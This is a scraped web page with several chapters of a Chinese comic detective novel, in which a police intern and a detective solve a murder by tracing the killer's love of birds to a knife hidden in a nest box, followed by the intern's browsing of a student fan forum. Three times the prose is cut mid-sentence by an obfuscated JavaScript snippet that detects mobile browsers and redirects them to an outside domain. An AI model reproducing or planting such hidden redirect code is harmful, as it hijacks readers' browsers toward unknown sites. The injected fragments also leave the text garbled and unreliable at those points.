“他确实很节俭,在食堂吃饭挑最便宜的套餐,从不会超过20元,铅笔盒磨到脱了色,手机用的很老的型号,碎屏很久了都没换过。全身唯一值钱的行头是运动鞋,有懂鞋的同学说不超过200元。” 李达坤侧头安排:“苗川,你去查查他的钱都花哪了?” “小罗,你继续说。”李达坤又转向罗乐。 罗乐斟酌了一番用词,缓缓道:根据我走访和观察到的片段,如果有样东西能吸引他、让他有感觉,就是——鸟。” “怎么说?”李达坤的眼神凝住。 “我第一次注意到,就是发现庄萍死亡那天,他听到姑姑被杀的消息,几乎没什么反应。” 罗乐顿了顿,目光微敛:“但就在他上警车前,突然停了下来,抬起了头……” “他在看天上的鸟。” “这是面对喜好的本能,没有办法遮掩,就像你会不由自主地望向你喜欢的人。” 时间短暂地停滞了几秒钟…… 李达坤别开脸咳了两声,又镇定地转了回来:“别跑题,年轻人,继续说鸟。” 罗乐:“更明显的是另外两件事。” “庄泽和他的同桌孙世杰很少交流,但有一次,他主动纠正了孙世杰的笔记错误,还特意在本子上画了个圈。” “我让孙世杰找到了那个笔记本,画圈的地方是——‘鸣禽的代表是猫头鹰’。” “这有什么问题?”李达坤面露疑惑。 “鸣禽的代表是大山雀,猫头鹰是猛禽的代表。”罗乐停了一下,补了半句:“基础知识——” 李达坤摆摆手:“我不懂这些,你继续说。” 罗乐:“庄泽此前几乎不参加课外活动,但他报名了学校组织的户外观鸟活动。” “自然博物馆的讲解员对他印象深刻,还介绍他加入了观鸟会,之后他参加了几次线下活动。” 李达坤皱眉:“做什么?” “有的是科普活动,拍摄不同季节的鸟类,还有一些公益项目,比如给鸟搭窝。” 李达坤挑起眉:“鸟难道不是自己搭窝?给什么鸟搭窝?麻雀?喜鹊?” “城市里的鸟很多,喜鹊和麻雀也不止一种。你说的麻雀,大概率是‘家麻’,但除了家麻,还有山麻雀、黑喉麻雀……虽然看着都差不多,但其实——” “停!”李达坤果断抬手,“不用说这么细……” 罗乐识趣地收住,正色道:“除了麻雀和喜鹊,还有斑鸠,城市里常见的是珠颈斑鸠。” “什么东西?”李达坤眼神茫然, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939300|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彻底陷入知识盲区。 罗乐愣了一下,等等—— 这表情,这神态,这微微的困惑感……怎么这么眼熟?这不就是自己当初面对「静电侠」时的表情吗?! 这段时间,自己在柯学、物理学、色彩学、材料学、生物学的连环暴击中,苟延残喘,受尽折磨。 现在终于轮到他给别人造成知识困扰了?! 这叫什么?知识的复仇! 罗乐调整了一下情绪,切换到「科普讲堂」模式:“珠颈斑鸠,脖子上有一圈白点,属于鸽形目,鸠鸽科、斑鸠属,和野鸽子是亲戚。 李达坤:“……” “它们随遇而安,窗台、阳台、花盆,甚至空调外机都能随便搭窝,典型的半开放型筑巢习性。 再加上求偶期不受季节限制,属于全年可繁殖物种,所以能看到它们在城里自由恋爱,躺平生崽,被称作鸟界的——” 说到这儿,罗乐忽然有了一丝某人附体般的微妙快感,他微微停顿,给李达坤留下一个思考的空间,以铺垫最后带有哲学高度的总结词。 ——“躺平之神……” 李达坤的眼睛忽然睁大了,他直直地盯着罗乐:“你刚刚说什么?” 罗乐没料到,李达坤的反应这么大,于是又重复了一遍:“「躺平之神」。” “不是这句!”李达坤提高了音量,“你刚才说它会在哪里搭窝?” 罗乐眨眨眼,说:“它们随遇而安,窗台、阳台、花盆,甚至空调外机都能随便搭窝。” “空调外机!”李达坤猛地从椅子上弹起,转身快步往外走。 “你会开车吗?”李达坤一边走,一边回头看罗乐。 “会!” “开车,跟我去现场!”李达坤直接把车钥匙扔给罗乐。 罗乐懵了一会,才后知后觉地反应过来,李达坤刚才……是因为自己的“知识暴击”得到了什么破案灵感?! 这叫什么? 知识的救赎! * 李达坤在庄萍家的阳台上站了很久…… 屋内的血腥味已渐渐散去,窗台的花盆里堆积着泥土和枯叶,成为这个房间生命气息消亡的一部分。 “我居然没有注意到这一点……“李达坤喃喃道。 “修空调的孙师傅说,庄萍家的阳台很乱,空调外机边堆满杂物,可现在你看——” 罗乐顺着他的目光看过去,空调外机周围什么都没有,连灰尘都被清理干干净净。 李达坤打开窗户,伸手在外机旁的缝隙摸索一番,摸出一片脱落的羽毛。 灰褐色的羽毛轻飘飘地躺在他的掌心,只有指尖长短,边缘有些破损。他捏住羽管举在眼前,逆着天光,羽毛的脉络清晰可见,像是脆弱生命的图谱,承载着某种沉默的执念。 “我可能找到庄泽的犯罪动机了。”李达坤沉声道。 一阵电话铃声响起…… “头儿,”电话那头传来苗川的声音,“我查到庄泽的交易记录了!您猜怎么着?” “他的大部分钱,都捐给了两个基金会。” “一个是候鸟及栖息地生态保护项目,另一个是野鸟救助会,两个加起来每月1000元,已经持续了两年多。” 李达坤扭过头看向罗乐:“庄泽不在乎别人,甚至也不爱惜自己,他只在乎「鸟」……” 12. 鸟窝搜凶 案发第八天,庄泽依然拒绝开口,死亡现场的凶器又彷佛人间蒸发了一样。 东城分局刑警队召开临时会议,围绕“刀去哪了”进行了一场高强度头脑风暴加逻辑复盘。 会议持续至中午,李达坤终于一锤定音,刷地写下三个大字——“找鸟窝。” “……” 白板上的字仿佛发着光,刑警队集体陷入无言的凝视。 李达坤面不改色地继续说道:“根据凶器特征,有效刃长八厘米以上,算上刀柄,想藏这样一把刀,不可能是普通鸟窝……” “人工巢箱。”第一次列席的实习生罗乐率先跟上了「福尔摩斯·李」不着边际的猜想。 罗乐:“去年,庄泽参加的观鸟会在百花岭山区挂了56个木质的人工巢箱,主要用来引导大山雀筑巢,半封闭结构,有一定深度和隐蔽性。” “挂得高吗?”有人提问。 “高。”罗乐一板一眼地答道,“一般在三到四米。” “所以我们要……”一名刑警看了看自己贴着膏药的腿,绝望低语:“上树?” “带上望远镜、小型无人机,以及所有能飞、能爬、能伸的设备。”李达坤翻开地图。 “A组搜索和标记符合特征的可疑巢箱,B组登高排查。搜索范围包括百花岭山区56处鸟巢所在地,以及润和小区周边三公里的绿地、公园带、废弃建筑……一个不漏!” “咱们这是刑事侦查,还是野外生存?” “案子难不成得从窝里掏出真相?” “这是破案,还是破坏鸟类房产啊?” 会议室一阵窃窃私语,有人已经悄悄上网查询:“徒手爬树绝不踩空的正确姿势”。 “嘀咕什么呢!”李达坤猛地一拍桌子,声大如雷。 “听好了!是找‘证据’,不是掏鸟蛋!所有到现场的人注意保护生态环境,谁要把鸟窝整塌一个,先写2000字检查,再去园林局当一个月志愿者,括弧休息日!” “……” 众人瞬间肃然,只有苗川举手,语气格外积极:“头儿,那我呢?我是去A组盯鸟,还是去B组爬树?” “你?”李达坤一记刀眼扫过去,“你去C组盯人,给我死死地盯住庄泽!哪怕他看一眼天,你也得知道他瞧的鸟是哪一科哪一属!” 苗川:“……” 刑警队的“鸟窝搜索行动”火速展开,老刑警嘴上嘟囔着“荒唐”,手脚动作倒是比谁都麻利。 百花岭56个巢箱逐一清查完毕,无果…… 第二天,搜索范围推进至公园绿地。上午八点,阳光洒在林间,一名刑警操控着无人机在绿化带上空巡视。 “我去,这公园竟真的有人工鸟窝?!”他盯着屏幕惊呼出声。 旁边的同事箭步冲来,探头一看:“赶紧通知B组!备梯子!戴头盔!” 一旁打太极的大爷看着这俩没见过世面的样子,慢条斯理地收了最后一招“白鹤亮翅”,气定神闲地接话:“那是园林局联合市科协搞的共栖示范点,还能扫二维码听讲解。” 刑警一惊:“您这么了解?” 大爷微微一笑:“挂哪几棵树上我都知道。” “请您指点!”刑警秒切求教姿态。 与此同时,对讲机频道热闹得像开了「鸟语直播间」—— 队员甲:“发现一窝蛋,表面温热,疑似新鲜出炉。” 队员乙:“这边一个空巢里藏着松果,原房疑似被松鼠强占,现场无主。” 队员丙:“这边树枝太密,无人机卡住了,申请协助捞机!” 队员丁:“我刚靠近一个巢,就被乌鸫当场开麦,感觉对方情绪非常激动……” 整个频道从蛋壳颜色、筑巢材料、鸟类脾性,一路横跨到“谁该出发上树”。 突然,一声激动的呼喊划破半空:“这绝对是个犯罪现场!” 所有人动作一顿,仿佛听见了胜利的号角,纷纷奔向声音来源,眼里写满了“苦海终结”、“正义来临”—— 只见那名刑警举着手机,兴奋地冲大家挥舞:“你们快来看!这窝太豪华了!里面居然全是棉花!它到底是从谁家晾的被子上偷的?!” 众人:“……” 李达坤闻讯赶到,盯着那张搭配高配床品的鸟巢照片,额角直跳,吼道:“咱们来这儿不是破盗窃案!” 怒吼声回荡在公园上空,鸽群倏地起飞,松鼠掉头逃窜,风声鹤唳中,只有乌鸫站在树顶,情绪复杂地持续高歌:“叽——!” 罗乐站在一旁,看着手机屏幕,笑出了声。 李达坤火气还没消,本想转头痛斥这实习生“不务正业”,却见他饶有兴致地盯着“疑似盗窃案现场”的豪华鸟窝。 李达坤刚要张嘴,忽然听见罗乐若有所思地问了一句:“你说,它这么费心费力,一点点偷棉花来垫窝,是不是为了室友?” 李达坤愣了一下,环顾四周,确认这一带除了他俩没人,才确信这个问题确实是朝他抛来的。 ——这已经不是第一次了。 这个同院师弟,总能在毫无预警的时刻,冒出奇怪又带点呆气的发言,让他这个见过大场面的刑侦老手,都只想侧头回避。 根据近期言行综合研判,李达坤得出初步结论:此人疑似患有轻度群居幻想,并对动物间的亲密关系存在不切实际的浪漫投射。 他斜睨了罗乐一眼,语气凉飕飕的:“你就这么想找对象?” 罗乐脸色一僵,立马摆手:“……我不是,我没有,我只是生物兴趣爱好者。”说罢,刷地一下蹿出老远,直奔向下一处鸟窝点。 李达坤看着那仓皇撤离的背影,嘴角一勾,露出一个审讯专家特有的笃定微笑。 ——说中了。 中午休息时,大家坐在凉亭吃着简易午餐,罗乐在一旁井井有条地整理鸟窝数据。 这一上午,他除了插空补位帮B组上树,一直在给巢箱建档——拍照、定位、标点、编号,再根据使用情况打上“空置”、“使用”、“废弃”的分类标签。 李达坤走过去瞥了一眼,视线在罗乐端着的IPad上停了一下,笔记详细程度,转头就能投给园林局,作为鸟类住宅改造的一手数据。 他忽然想起这小子那天在电话里和自己嚷嚷的架势——“我问了21个同学、7个老师、5个食堂师傅!“ 嗯,就有点像……以前看过的侦探小说里的威廉修士,做事精细,对浩瀚的知识充满好奇。 李达坤心里笑笑,冷不丁开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939301|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口:“听说你考上市局了?” 罗乐点头:“嗯,政审刚过,等毕业手续办完过去。” 李达坤从兜里掏出烟盒,刚抽出一根,忽然瞥见凉亭顶上贴着“严禁吸烟”,又默默按了回去,问道:嫌疑人八天不张嘴,一天到晚东奔西跑,还得在绿化带掏鸟窝……你确定还想干这一行?” 罗乐正好标完一个点,抬头回道:“我学了六年刑侦,没想过不做警察,还能做什么?” “不过,确实也想不到,当警察还得掏鸟窝,是挺魔幻,但老实讲——还有点上头。” 李达坤望了一眼远处还在绑安全绳的队员,哼了一声,把烟盒收回裤兜:“我看你,多少也有点病。” “死磕型执着人格,认准目标不撒手,侦查系常见体质。”罗乐笑笑。 听见这话,李达坤刚刚勾起一个称得上赞同的笑容,就瞧见实习生突然跳下台阶,像林中松鼠似的蹿向草地拍照,镜头对着的是——一对互啄羽毛、眉眼温顺的鸽子。 他眯眼望去,满心鄙夷地笑笑:我们侦查系可没有见着小动物谈恋爱,自己就蠢蠢欲动的毛病! * 又过了一天,太阳沉落西山,晚霞给天边铺上一层浓郁的绯红色。 几个刚从树上下来的B组队员歪坐一团,袖口沾着泥,发梢挂着草,活像刚刚录完野外生存真人秀的憔悴选手。 队员甲瘫着身子叹气:“我小时候连鸟蛋都没摸过,这几天可算是把童年缺憾一次性补了……” “你是补缺,我是集齐。”队员乙灌了一口可乐,“我上个月在下水道里摸血衣,这个月又爬树找刀,咱们刑警队真是能上天入地。” 队员丙靠着栏杆直乐:“我妈听说我最近在公园趴鸟窝,追着问:‘斑鸠犯啥法了?’我没法解释,只能说它涉嫌违建,哈哈。” 李达坤正在一边给无人机组换电池,忽然,林子深处传来带着破音的喊叫——“找到了!!!” “真的找到了!刀!刀,是刀!” 四散的队伍瞬间像被召唤咒语命中,一起往声音的方向奔去。 李达坤连转头找条好走的路都没顾上,直接一个箭步扎进灌木丛,跨过护林沟,冲刺姿势像极了警校接力赛的二棒老将又重回赛场。 队员们循声围聚在水杉树下,只见树上那人单手扶梯,另一手高举着证物袋,动作郑重得像在传递奥运圣火。 李达坤仰着头在树下喊:“你摆那‘哪咤闹海‘的姿势干嘛呢!赶紧给我下来!小心点!别摔着!” 树上的刑警踩着梯子往下挪,脚还没落地,就被人一把搂住肩膀:“小段你行啊!哥几个总算不用天天上树了!” 小段脸上挂着点羞涩的笑,他简要汇报道:“是个松木做的人工巢箱,刀压在最底下,上面盖着塑料泡沫,还铺了一层干草,藏挺深的。” 说着,他证物袋交给李达坤:“大概20厘米的料理刀,单刃、细长,和法医报告中描述的凶器特征高度吻合。” “这窝得挂牌!”旁边有刑警开起玩笑,“评为‘2020年度刑侦贡献建筑类典范’。” 众人笑作一团…… 罗乐站在一旁,嘴角微弯,郑重地iPad上敲下一行字——「第162号巢箱,完成取证。」 13. 人性裂缝 “庄泽,我再问你一遍——”李达坤的声音沉了几分,“3月18号晚上7点到次日凌晨1点,你有没有去过庄萍家?” “没有,我一直在家写作业。”庄泽垂着眼,语气淡得像在背书。 李达坤微微眯起眼,随即轻嗤一声,从桌上抽出一张纸,念起来:“在旷野中漫步,与那些小生命猝不及防地相遇,让人感受到勃勃生机,就像漫长无波的生活传来了真实的回响。” 他抬头看向庄泽:“怎么样?耳熟吗?” 庄泽抬起头,眼神里闪过一抹愠怒:“我不知道你在说什么。” “这不是你在观鸟会活动中说的原话吗?”李达坤冷笑,“你的这番话可让领队记忆犹新呢?” “怎么,你自己反而不记得了?” 审讯室里一片寂静,只有墙面的时钟发出嗒嗒的声响。 “你亲手为鸟搭巢,捐款守护它们的栖息地,可对自己的亲人,却没有一丝怜悯。”李达坤缓缓俯身,“告诉我,为什么?” 庄泽的指尖微微一动,眼神沉了下去,嗓音沙哑,却还是固执地咬住那句话:“我不知道你在说什么。” “你不知道?” 李达坤手掌一翻,啪地一声把照片甩到桌上——画面里是一片水杉林,两根粗枝间一个木质巢箱清晰得近乎刺目。 “大山雀,杂食党,吃虫子,也吃植物的种子和果实,喜欢在树洞中筑巢,也能适应城市环境的建筑缝隙和人工鸟窝。” “拜你所赐,这几天,我们刑警队翻遍了方圆三公里所有的鸟窝。”李达坤自嘲地勾了下嘴角。 “不过你可以放心,没有一只小鸟受到伤害。”李达坤说着,把手里的报告丢到桌上。 “鲁米诺试剂还原出凶器表面残存的血迹,与庄萍的DNA匹配。通过氰基丙烯酸酯熏显,在刀柄上发现了你的指纹。” 他又俯身靠近,一字一顿:“你找到了一个很隐蔽的藏凶地,但谁能想到,一片落在空调外机缝隙里的羽毛会是解开这个谜局的钥匙呢?” “你什么都不在乎,但暴露你的偏偏是「爱」!” 审讯室的灯光映着庄泽的脸,他面色苍白如纸,某些遥远的东西在他眼前浮现—— 小时候,爸爸教他认鸟,乌鸫眼圈是黄色的,叫声像笛音,八哥头上有呆毛,还会学人说话。那时候,他觉得爸爸什么都知道,他只要睁大眼睛,就能从世界里读出答案。 后来父亲去世,母亲越来越忙,他就一个人看鸟—— 郊外山坡,云雀逆风盘旋,湖畔碧波,翠鸟掠过水面,街角屋檐,燕子久久不肯离去,还有每天清早走在院子里,那一声声清脆的“Pica pica”…… 李达坤:“你的消费记录显示,你已经很久没去庄萍家吃饭了,直到你发现,有只珠颈斑鸠在她家的空调外机上搭了巢——” 回忆倏地断裂,庄泽缓缓抬起头,眼神冷了下来。 “维修工告诉庄萍,空调外机边堆杂物会影响散热,于是她把阳台的杂物清走了。” “包括那只鸟巢。”李达坤压低声音。 “你们之间也许积怨已久,而这件事,成了压垮你的最后一根稻草。” “你情绪失控,冲进厨房,抓起料理刀,从背后刺了她一刀。她转过身后,你又在慌乱中连补两刀。” 审讯室再次沉入死寂。 庄泽沉默了很久,终于轻轻叹了口气,嘴角弯起一个称得上是嘲弄的弧度:“……还是,被你发现了啊。” “我承认,第一刀是冲动。”他低声笑了笑,嗓音轻得像在讲一则遥远的故事,“但你知道吗?她被我刺中后,忽然转过头来——” “她平时那副咄咄逼人的样子,一下子全没了。她没了怨气,没了火气,剩下的,只有慌乱和恐惧。” 庄泽闭上眼睛,又慢慢睁开,声音带着近乎炽热的颤意:“就在那个瞬间,我犹豫了,我发现人逼近绝望时,竟和鸟一样,脆弱……” “可是……”庄泽微微偏头,眼底一暗,“她总归不是真正的弱者,她总说自己是受害者,其实却精得很,知道怎么逼我,知道什么时候该做出一副可怜的样子。” “她的脆弱是假的,她只是在利用那一瞬的‘软弱’,来骗我,还是被我看穿了。” 玻璃后面的观察室里,罗乐一动不动地站着,他第一次参与真正意义上的审讯,却听见了这样一段颠倒黑白、偏执病态的自白。 “他不是在交代,”身边一位刑警咬着牙低声骂道,“是在为他的扭曲找借口。” “李警官,”庄泽语气缓慢,像想起什么细节般补充道,“还有一点……你说错了。” ”她毁掉的,不是珠颈斑鸠的巢……” “那个巢是夜鹰的,它们喜欢黑夜,擅长隐藏,从来不引人注目。” “就像我一样。” 庄泽轻叹一声,声音里带着某种说不清的意味:“可惜,最后还是被你们抓住了。” 李达坤走到庄泽旁边,居高临下地俯视他:“庄泽,对鸟的善意暴露了你。” “但也正是这点善意救了你,让你还能保留一点人性,还能被审判,而不是彻底堕入黑暗。” “还有…….你不是夜鹰,你也不会像夜鹰,夜鹰栖在自由的荒野。” “而你——”李达坤缓缓地俯下身,盯着庄泽的眼睛,一字一句地说道:“只能待在笼子里。” * 又忙了几日,给检察院递完材料,这个案子才算告一段落。 苗川端着杯咖啡晃进办公室,刚好看见李达坤从局长办公室回来,立刻凑过去问:“头儿,方局怎么夸咱们的?一个多星期破案,全队上阵掏遍方圆几公里的鸟窝,够神了吧。” “夸什么?”李达坤不咸不淡地扫了他一眼,“我们在探讨人性。” 苗川噎了一下,说:“就不能表扬一下咱们办案的辛苦?” “辛苦是应该的,思考是稀缺的。”李达坤拉开椅子坐下,往四周看了看:“那个实习生呢?” “什么实习生?”苗川一脸茫然。 “小罗!” “早走了,人家还能天天来你这儿报到?” “你给我好好学着点!”李达坤抬手拍了一把苗川的后脑勺。 “我学什么?”苗川揉着头,一脸不服气。 “聪明、敏锐,有韧劲,调查做得挺扎实,是个当刑警的好材料。”李达坤说着,忽然顿住,“就是废话太多!连斑鸠的发情期都能背得滚瓜烂熟!” 李达坤狠狠地把杯子搁在桌上,愤愤道:“尽想着谈恋爱!开车还特别得野!” “头儿,你开车也很野啊!” “滚一边去!” 晚霞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939302|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给教学楼顶镀了一层金边,暮色轻柔又平静。 罗乐和孙世杰正走在校园小路上,脚步悠闲,气氛和谐,当然——这是在「还笔记本」之前。 “小孙啊……”罗乐清了清嗓子,语重心长地开口:“你之前是不是说,你喜欢食品科学?” 孙世杰一脸傲娇:“对呀!” “那要研究食品科学,咱是不是得把基础打好一点?”罗乐意味深长地看了他一眼。 孙世杰顿时警惕:“怎么了?” “你看看你这本笔记……”罗乐缓缓打开笔记本,随手翻到一页:“来来来,咱们随便念念——” “‘人体有48条染色体’。”罗乐抬头,平静地看着孙世杰:“……你是想给自己额外申请两条吗?” 孙世杰脸色涨红:“呃……可能是、可能是我当时写错了?” “何止是错。”罗乐叹了口气,把笔记本轻轻合上,眼神复杂地看着孙世杰:“你这本儿要是再改一改,搞不好都能单独出版。” 孙世杰:“……?” “书名我都帮你想好了。”罗乐顿了顿,沉痛道:“《惊天动地的生物大发现》。” 孙世杰的表情,肉眼可见地从轻松变成了窒息。 罗乐眯了眯眼,认真劝说道:“你说,以后你要是搞食品研发,万一被你这种笔记影响,整出个48条染色体的橘子,我吃了万一变异咋办?” 孙世杰:“……” “哪天你再开发一个‘自热火锅’,结果连最基本的生物化学都没搞明白,做出来的东西一加水就爆炸,你觉得怎么样?” 孙世杰弱弱地应道:“……那、那确实有点刺激。” “学习要用心、细心,知道不?小孙,你现在补救还来得及。”罗乐语重心长地教育着一年级的小豆包,目光不经意一瞥,忽然顿住…… 不远处的宣传栏里,一张刚贴上的海报赫然映入眼帘。 英才、创新、竞赛之星……各种熟悉的教育口号,罗乐一眼略过,目光被海报中央的人锁死—— 陶律夏! 他脚步一滞,整个人定在了原地,孙世杰顺着罗乐的目光看了过去,随口念道:“陶学长……” 罗乐立刻回神:“你认识?” “当然啊。”孙世杰点点头。 “你们学校的学霸?”罗乐试探性地问。 孙世杰想了想,摇头:“不算吧。” 罗乐莫名地松了口气—— 他都不知道自己为什么第一反应是轻松,而不是觉得「静电侠」的逼王人设崩塌了。 “陶学长怎么能是单纯的学霸?!” “理科全能+竞赛大佬+论文达人三合一的「陶神」!”孙世杰一脸崇拜。 罗乐:“……” “化学奥赛进国家集训队,物理实验竞赛拿全国奖,连生物论文……” “行了!”罗乐一把揪住孙世杰的衣领,把人拽走,“咱们现在去吃炸串!快点走!” 这个地方,他真的一秒钟也不要再待下去…… 晚上,罗乐回到宿舍,打开电脑,偷偷摸摸地登上了——#实验中学陶神超话# 没错,要不是孙世杰天今天晚上一通高强度科普,他都不知道「静电侠」居然还有超话! 他倒要看看这些中学生能整出什么花里胡哨的玩意儿。 14. 静电小甜心 【超话签到】又是陶神光辉照耀的一天! 【日常膜拜】今天的陶神依旧是神! 【陶神传说】震惊!陶神真的有外挂! 【进站必看】关于陶神的神迹整理(持续更新......) 1. 14岁时靠自学解出京北大学化学专业高阶题目。 2. 被学弟提问数学怎么能考到148,回答:少做一道单选题。 3. 被学长调侃“怎么什么都懂”,回答:“苏美尔楔形文字和深海沉积物地球化学我不熟。” 4. 据说字迹比打印体还工整,但很少有人看过他的笔记。 5. 某次辩论比赛,临时上台救场,全场零口误,被对方辩友评价为“非人类”。 6. 书包颜色会随心情变化,至今无人能预测下一次是什么色。 ……此处省略一千字…… ——【投票】陶神明天的书包颜色是沙漠玫瑰、雾霾灰蓝,还是森林墨绿? 书包颜色还有投票?怪不得那死小子书包换得勤! 罗乐盯着屏幕看了一会,心情复杂地合上了电脑。他靠在椅背上,半晌没动,原本以为「静电侠」不过是个普通的中学生,顶多聪明点,讲话气人点。 结果人家是竞赛大佬、论文达人、氛围杀手、全宇宙在读学神,怪不得过去几次交锋都是自我羞辱拉满。 他们原来是两个世界的人,像地球和月球,隔着三十八万公里…… * 这天中午,刘力端着养生壶晃晃悠悠地回到办公室。他往椅子上一瘫,正准备闭目养神,却看见一个极其反常的画面—— 罗乐,居然没在睡觉?更诡异的是,他居然在——看书? 不是案件报告,不是法律条文,是那种一眼扫过去都头皮发麻的——技!侦!专!业!书! 这小子是被什么打击了?这都快毕业了,想起来要转型当“刑侦学术先锋”了?刘力眨了眨眼,一度怀疑自己是不是昨天值班太累,出现幻觉了。 他走到跟前抽起一本,随便翻了两页,问道:“你现在怎么改性子了?这还没去上班,就想把人法医的活儿干了?” 罗乐抬起头,声音低沉:“想多学点东西,免得以后被人看不起。” 这话听着怎么有些奇怪?甚至还有一丝丝隐隐的委屈。难道是前几天去分局和哪个技术大拿对上了,被按在地上摩擦了? 有可能!非常有可能! 毕竟罗乐这小子平时太狂了,结果到人才济济的东城分局,分分钟被老刑侦怼回了幼儿园! 这么一想,事情就更顺理成章了…… ——罗乐在技侦大拿面前受挫了! ——罗乐不服,决定拼命补习,伺机翻盘! 只有挫败,才能换来午休时间这罕见的沉默奋笔! 刘力的表情精彩至极,他拍了拍罗乐的肩膀,语重心长道:“小罗,你冷静点,学习也不在一朝一夕。” 罗乐淡定地翻过一页说:“我很冷静。” “那你加油。”刘力微笑着点了点头。 度过高强度的一天,晚上,罗乐回到宿舍,整个人瘫在床上,他已经学不下去了—— 此刻,大脑急需一些表层的、无聊的、带点新鲜感的娱乐来放松一下。于是,他打开手机,点进了他刚解锁不久的——#实验中学陶神超话# 【热帖】《陶神的脸,请你务必多露面!!!》 [图片1] 「陶神操场走过,路人实拍」 [图片2] 「陶神竞赛现场,专注侧颜杀」 [图片3] 「陶神低头做题,惊为天人」 [热评1] :「天赋型学神+冷感小猫咪+美学天花板=陶神」 [热评2] :「这就是我拼死拼活考进实验的理由!」 [热评3] :「路人随手拍都是氛围感拉满,求陶神直播学习!」 [热评4] :「陶神缺女朋友吗?不缺的话,缺男朋友吗?」 罗乐的眼角微微抽搐。 这小子在学校里到底是个什么级别的存在? 考神有人舔就算了,他能理解,毕竟从小到大,书读得好的人总有仰慕者。 但“冷感小猫咪”,“美学天花板”都是些什么鬼?怎么还有男颜粉?「静电侠」的魅力也没有强大到横扫性别吧? 他忍不住往下滑了滑,看到了最新的互动活动—— 【投票】陶神下一款书包会选什么颜色? 1.冷冽深蓝 2.雾霭暖灰 3.低饱和鼠尾草绿 4.深空曜黑 5.随机,全凭陶神心情(目前领先,68%) [热评1] 「求求了,让我押中一次!」 [热评2] 「陶神,请听听信徒的愿望,考虑一下深空曜黑吧!」 [热评3] 「冷冽深蓝+1,感觉很符合他的气质!」 [热评4] 「亲见,今天是灰蓝色!」 [热评5] 「果然是灰蓝!我就说他最近的色彩偏好有在往冷色调过渡!」 罗乐整个人都看傻了,刚开始只是点进来看个乐子,结果越刷越离谱。 这群中学生到底在搞什么玄学??? 又搞这离谱的“书包颜色预测”?这还是人干的事?罗乐按了按眉心,觉得自己像个误入邪/教现场的路人,整个精神世界都在崩塌。 他盯着投票页面,鬼使神差地点下了——深空曜黑。 选项提交成功的瞬间,罗乐像是从某种咒术中突然清醒,他猛戳关闭窗口,操作速度堪比实弹演练时拔枪出击。 “要疯了!”他把手机扔到一边,神色严肃地和自己发出警告:“绝对!不要再登进那个疯癫的超话。” 可惜,人类的本质都是复读机…… 第二天早高峰的公交车上,罗乐拿出手机,原本只是想随手刷点新闻解闷,结果手指头不受控地一路滑进了——#实验中学陶神超话#。 他愣了一下,然后默默决定:尊重手指的选择。 严格来说,这不是闲得无聊,这是在研究!研究现在的未成年群体的精神状态。毕竟,他一个新时期的人民警察,得接地气、懂网络、会舆情引导。 于是,在科学探索精神的驱动下,罗乐点开了最新热帖—— 【目击者实时补充】陶神打完球出来了,今天背的书包是:深空曜黑! 罗乐盯着屏幕,缓缓坐直了身子。 他深夜十一点,鬼迷心窍点的那一票!现在居然中了? 中了!!! 公交车一个急刹车,罗乐险些没坐稳,他伸手扶住前排的座椅靠背,神情复杂地盯着手机看了又看,缓缓地抬手,摸了摸自己的后脑勺,忍不住笑出了声。 这算什么啊?这是什么该死的胜利感?!书包颜色预测命中有什么好骄傲的? 他怎么还笑了?! 罗乐还没来得及质疑自己的表情管理,下一秒,他已经注意到帖子里的另一个重点——“陶神打完球出来了……” 大清早的打什么球?就他那小身板,能打什么球?罗乐脑海中顿时浮现出陶律夏在球场锐评的画面: ——“你的回球角度最好能偏移45度。” ——“你的发球时速只有80公里/小时,职业选手可以达到180公里/小时。” 啧,太能装了,想想就欠收拾…… 罗乐飞快地翻页检索,然而快到站了,都没找到陶律夏到底打的什么球。 他思考了一会,索性直接去话题区发帖—— 《求助:谁知道这小子打的什么球?》 【评论1】「这小子???」 【评论2】「L2?这id哪来的?新号?」 【评论3】「是新号+1!连个粉丝牌都没有,是从哪里钻出来的野人?」 【评论4】「你谁啊???怎么敢直呼陶神“这小子”?」 罗乐:“……” 一瞬间,超话里无数信徒的炮火齐刷刷地投向了他,宛如一群猎鹰盯上误入领地的兔子。更可怕的是,已经有人开始顺着他的ID查询发言记录! 【评论5】「他三天前才注册的超话账号!」 【评论6】「你们发现了吗?他顺着书包颜色来问的,投票颜色选的“深空曜黑”,陶神背的书包刚好也是“深空曜黑”,不会是个偷窥狂吧?」 【评论7】「性别未知!太可疑了!这人绝对有问题!!」 罗乐:???不是,你们查人怎么比公安系统还快?! 下一秒,#L2是谁?# 这个话题已经被人直接开了个帖…… 【评论1】「是不是哪个学校的竞争对手派来的间谍?」 【评论2】「要不就是隔壁校队的,想来打听陶神的球技?」 